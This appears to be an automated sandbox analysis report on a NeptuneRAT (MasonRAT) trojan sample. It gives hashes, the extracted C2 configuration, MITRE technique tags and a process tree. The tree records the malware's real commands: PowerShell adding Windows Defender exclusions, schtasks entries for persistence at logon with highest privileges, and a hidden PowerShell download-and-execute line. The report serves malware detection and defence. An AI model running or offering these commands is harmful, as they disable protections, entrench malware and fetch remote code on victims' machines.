neptunerat | c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896

Analysis

max time kernel
26s
max time network
32s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
05/08/2026, 01:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Bypassed.exe
Size 1.9MB
Sample260805-br4e5ahk4y
SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
MD5 895088641b452ca046da55b8901462d7
SHA1 e1756aa09e0ead1a6ee58e9b409192043e614822
SHA512 0cc1108513076c1bac555d01ced27aae9d138d1463416fd056e459b967145f7b19f0e5e0e561ec12483484a874d204773a5170a494e550c29f0a5e29ce02fb7a
SSDEEP 49152:BMXA6xXZgFUd7gvy3XHHooAj3JJqrdrp9ZjXXkGE8AJ7gnX6cHIQS1eXApMbEJMy:
TLSH
T11995A1141EEE181963B2AE6D5BD478DFC45EABA33B0710F614F2028E4711D93C9E27B9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution neptunerat persistence trojan

Malware Config

Extracted

Family

neptunerat

82.22.62.124:443

Attributes

filename
MasonUSB.exe
group
MasonGroup
key
eacBkjvaIIlrNRCZ
rat_name
MasonRAT

Signatures

Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
trojan neptunerat

Detects NeptuneRAT stealer 2 IoCs

resource	yara_rule
behavioral2/memory/4688-46-0x000000001C3A0000-0x000000001C3E4000-memory.dmp	family_neptunerat
behavioral2/memory/4688-337-0x000000001C520000-0x000000001C532000-memory.dmp	family_neptunerat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3928	powershell.exe
3564	powershell.exe
1216	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1741132852-2793423776-1557670484-1000\Control Panel\International\Geo\Nation	Bypassed.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1741132852-2793423776-1557670484-1000\Control Panel\International\Geo\Nation	67320ce1-9414-454e-ac0e-32c6b7f551e0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1741132852-2793423776-1557670484-1000\Control Panel\International\Geo\Nation	svhost.exe

Executes dropped EXE 5 IoCs

pid	Process
3304	67320ce1-9414-454e-ac0e-32c6b7f551e0.exe
4948	svhost.exe
4688	svhost.exe
2004	0urqhzez.5gs.exe
4296	svhost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Masonsvhost.exe	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\svhost.exe	67320ce1-9414-454e-ac0e-32c6b7f551e0.exe
File opened for modification	C:\Windows\svhost.exe	67320ce1-9414-454e-ac0e-32c6b7f551e0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2116	cmd.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	svchost.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ProviderPasswordLength = "8"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ProviderPasswordCharacterGroups = "2"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3864	SCHTASKS.exe
796	SCHTASKS.exe
2804	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3928	powershell.exe
3928	powershell.exe
3564	powershell.exe
3564	powershell.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
1216	powershell.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
1216	powershell.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
1216	powershell.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
1216	powershell.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe
2004	0urqhzez.5gs.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3372	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3304	67320ce1-9414-454e-ac0e-32c6b7f551e0.exe
Token: SeDebugPrivilege	3928	powershell.exe
Token: SeIncreaseQuotaPrivilege	3928	powershell.exe
Token: SeSecurityPrivilege	3928	powershell.exe
Token: SeTakeOwnershipPrivilege	3928	powershell.exe
Token: SeLoadDriverPrivilege	3928	powershell.exe
Token: SeSystemProfilePrivilege	3928	powershell.exe
Token: SeSystemtimePrivilege	3928	powershell.exe
Token: SeProfSingleProcessPrivilege	3928	powershell.exe
Token: SeIncBasePriorityPrivilege	3928	powershell.exe
Token: SeCreatePagefilePrivilege	3928	powershell.exe
Token: SeBackupPrivilege	3928	powershell.exe
Token: SeRestorePrivilege	3928	powershell.exe
Token: SeShutdownPrivilege	3928	powershell.exe
Token: SeDebugPrivilege	3928	powershell.exe
Token: SeSystemEnvironmentPrivilege	3928	powershell.exe
Token: SeRemoteShutdownPrivilege	3928	powershell.exe
Token: SeUndockPrivilege	3928	powershell.exe
Token: SeManageVolumePrivilege	3928	powershell.exe
Token: 33	3928	powershell.exe
Token: 34	3928	powershell.exe
Token: 35	3928	powershell.exe
Token: 36	3928	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeIncreaseQuotaPrivilege	3564	powershell.exe
Token: SeSecurityPrivilege	3564	powershell.exe
Token: SeTakeOwnershipPrivilege	3564	powershell.exe
Token: SeLoadDriverPrivilege	3564	powershell.exe
Token: SeSystemProfilePrivilege	3564	powershell.exe
Token: SeSystemtimePrivilege	3564	powershell.exe
Token: SeProfSingleProcessPrivilege	3564	powershell.exe
Token: SeIncBasePriorityPrivilege	3564	powershell.exe
Token: SeCreatePagefilePrivilege	3564	powershell.exe
Token: SeBackupPrivilege	3564	powershell.exe
Token: SeRestorePrivilege	3564	powershell.exe
Token: SeShutdownPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeSystemEnvironmentPrivilege	3564	powershell.exe
Token: SeRemoteShutdownPrivilege	3564	powershell.exe
Token: SeUndockPrivilege	3564	powershell.exe
Token: SeManageVolumePrivilege	3564	powershell.exe
Token: 33	3564	powershell.exe
Token: 34	3564	powershell.exe
Token: 35	3564	powershell.exe
Token: 36	3564	powershell.exe
Token: SeDebugPrivilege	4948	svhost.exe
Token: SeDebugPrivilege	4688	svhost.exe
Token: SeDebugPrivilege	4688	svhost.exe
Token: SeDebugPrivilege	2004	0urqhzez.5gs.exe
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE
Token: SeDebugPrivilege	1216	powershell.exe
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE
Token: SeShutdownPrivilege	3372	Explorer.EXE
Token: SeCreatePagefilePrivilege	3372	Explorer.EXE

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4216	Conhost.exe
4120	Conhost.exe
2276	Conhost.exe
4644	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4104 wrote to memory of 3304	4104	Bypassed.exe	83
PID 3304 wrote to memory of 3928	3304	67320ce1-9414-454e-ac0e-32c6b7f551e0.exe	84
PID 3304 wrote to memory of 3564	3304	67320ce1-9414-454e-ac0e-32c6b7f551e0.exe	87
PID 4688 wrote to memory of 2004	4688	svhost.exe	92
PID 4688 wrote to memory of 3864	4688	svhost.exe	93
PID 2004 wrote to memory of 616	2004	0urqhzez.5gs.exe	5
PID 2004 wrote to memory of 684	2004	0urqhzez.5gs.exe	7
PID 2004 wrote to memory of 896	2004	0urqhzez.5gs.exe	11
PID 2004 wrote to memory of 392	2004	0urqhzez.5gs.exe	13
PID 2004 wrote to memory of 752	2004	0urqhzez.5gs.exe	14
PID 2004 wrote to memory of 1036	2004	0urqhzez.5gs.exe	15
PID 2004 wrote to memory of 1060	2004	0urqhzez.5gs.exe	16
PID 2004 wrote to memory of 1068	2004	0urqhzez.5gs.exe	17
PID 2004 wrote to memory of 1112	2004	0urqhzez.5gs.exe	18
PID 2004 wrote to memory of 1172	2004	0urqhzez.5gs.exe	19
PID 2004 wrote to memory of 1232	2004	0urqhzez.5gs.exe	20
PID 2004 wrote to memory of 1256	2004	0urqhzez.5gs.exe	21
PID 2004 wrote to memory of 1264	2004	0urqhzez.5gs.exe	22
PID 2004 wrote to memory of 1460	2004	0urqhzez.5gs.exe	24
PID 2004 wrote to memory of 1468	2004	0urqhzez.5gs.exe	25
PID 2004 wrote to memory of 1496	2004	0urqhzez.5gs.exe	26
PID 2004 wrote to memory of 1504	2004	0urqhzez.5gs.exe	27
PID 2004 wrote to memory of 1520	2004	0urqhzez.5gs.exe	28
PID 2004 wrote to memory of 1780	2004	0urqhzez.5gs.exe	29
PID 2004 wrote to memory of 1820	2004	0urqhzez.5gs.exe	30
PID 2004 wrote to memory of 1832	2004	0urqhzez.5gs.exe	31
PID 2004 wrote to memory of 1900	2004	0urqhzez.5gs.exe	32
PID 2004 wrote to memory of 1916	2004	0urqhzez.5gs.exe	33
PID 2004 wrote to memory of 2032	2004	0urqhzez.5gs.exe	34
PID 2004 wrote to memory of 2052	2004	0urqhzez.5gs.exe	35
PID 2004 wrote to memory of 2120	2004	0urqhzez.5gs.exe	36
PID 2004 wrote to memory of 2128	2004	0urqhzez.5gs.exe	37
PID 2004 wrote to memory of 2136	2004	0urqhzez.5gs.exe	38
PID 2004 wrote to memory of 2216	2004	0urqhzez.5gs.exe	39
PID 2004 wrote to memory of 2224	2004	0urqhzez.5gs.exe	40
PID 2004 wrote to memory of 2348	2004	0urqhzez.5gs.exe	41
PID 2004 wrote to memory of 2436	2004	0urqhzez.5gs.exe	43
PID 2004 wrote to memory of 2696	2004	0urqhzez.5gs.exe	44
PID 2004 wrote to memory of 2720	2004	0urqhzez.5gs.exe	45
PID 2004 wrote to memory of 2736	2004	0urqhzez.5gs.exe	46
PID 2004 wrote to memory of 2764	2004	0urqhzez.5gs.exe	47
PID 2004 wrote to memory of 2792	2004	0urqhzez.5gs.exe	48
PID 2004 wrote to memory of 2820	2004	0urqhzez.5gs.exe	49
PID 2004 wrote to memory of 2988	2004	0urqhzez.5gs.exe	51
PID 2004 wrote to memory of 572	2004	0urqhzez.5gs.exe	52
PID 2004 wrote to memory of 3092	2004	0urqhzez.5gs.exe	53
PID 2004 wrote to memory of 3136	2004	0urqhzez.5gs.exe	54
PID 2004 wrote to memory of 3204	2004	0urqhzez.5gs.exe	55
PID 2004 wrote to memory of 3336	2004	0urqhzez.5gs.exe	56
PID 2004 wrote to memory of 3372	2004	0urqhzez.5gs.exe	57
PID 2004 wrote to memory of 3540	2004	0urqhzez.5gs.exe	58
PID 2004 wrote to memory of 3800	2004	0urqhzez.5gs.exe	60
PID 2004 wrote to memory of 3988	2004	0urqhzez.5gs.exe	62
PID 2004 wrote to memory of 1200	2004	0urqhzez.5gs.exe	63
PID 2004 wrote to memory of 3332	2004	0urqhzez.5gs.exe	67
PID 2004 wrote to memory of 4624	2004	0urqhzez.5gs.exe	68
PID 2004 wrote to memory of 1960	2004	0urqhzez.5gs.exe	69
PID 2004 wrote to memory of 4892	2004	0urqhzez.5gs.exe	70
PID 2004 wrote to memory of 5064	2004	0urqhzez.5gs.exe	71
PID 2004 wrote to memory of 1432	2004	0urqhzez.5gs.exe	72
PID 2004 wrote to memory of 2576	2004	0urqhzez.5gs.exe	74
PID 2004 wrote to memory of 1204	2004	0urqhzez.5gs.exe	75
PID 2004 wrote to memory of 3808	2004	0urqhzez.5gs.exe	76
PID 2004 wrote to memory of 2044	2004	0urqhzez.5gs.exe	77

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1172

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-1f076357-3a93-413d-bf8d-7b8e6e38e451 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-403dc343-4bbe-48cd-831c-1eb137b9b58e -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f80ab99b-7bb0-4d2e-8590-8c0375b02c9c -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-78196df4-a020-4905-b627-f9de96396adc -LifetimeId:ed19e7e8-0092-4c6c-9d9b-2eddbde44668 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1460
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3136
- C:\Windows\svhost.exe
  "C:\Windows\svhost.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Users\Admin\AppData\Local\Temp\0urqhzez.5gs.exe
    "C:\Users\Admin\AppData\Local\Temp\0urqhzez.5gs.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2004
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3864
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3820
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:796
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1892
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1216
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:4120
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2804
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:2276
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"
    3⤵
    PID:4196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp5EB5.tmp.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1504

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1780
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2224

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2348

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3336

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3372
- C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
  "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Users\Admin\AppData\Local\Temp\67320ce1-9414-454e-ac0e-32c6b7f551e0.exe
    "C:\Users\Admin\AppData\Local\Temp\67320ce1-9414-454e-ac0e-32c6b7f551e0.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3540

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3800

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3988

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1200

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3332

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:5064

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1432

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2576

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:2288

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1860

C:\Windows\svhost.exe
C:\Windows\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:4216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:3640

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:4644

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
PID:4296

C:\Windows\system32\wbem\wmiprvse.exe
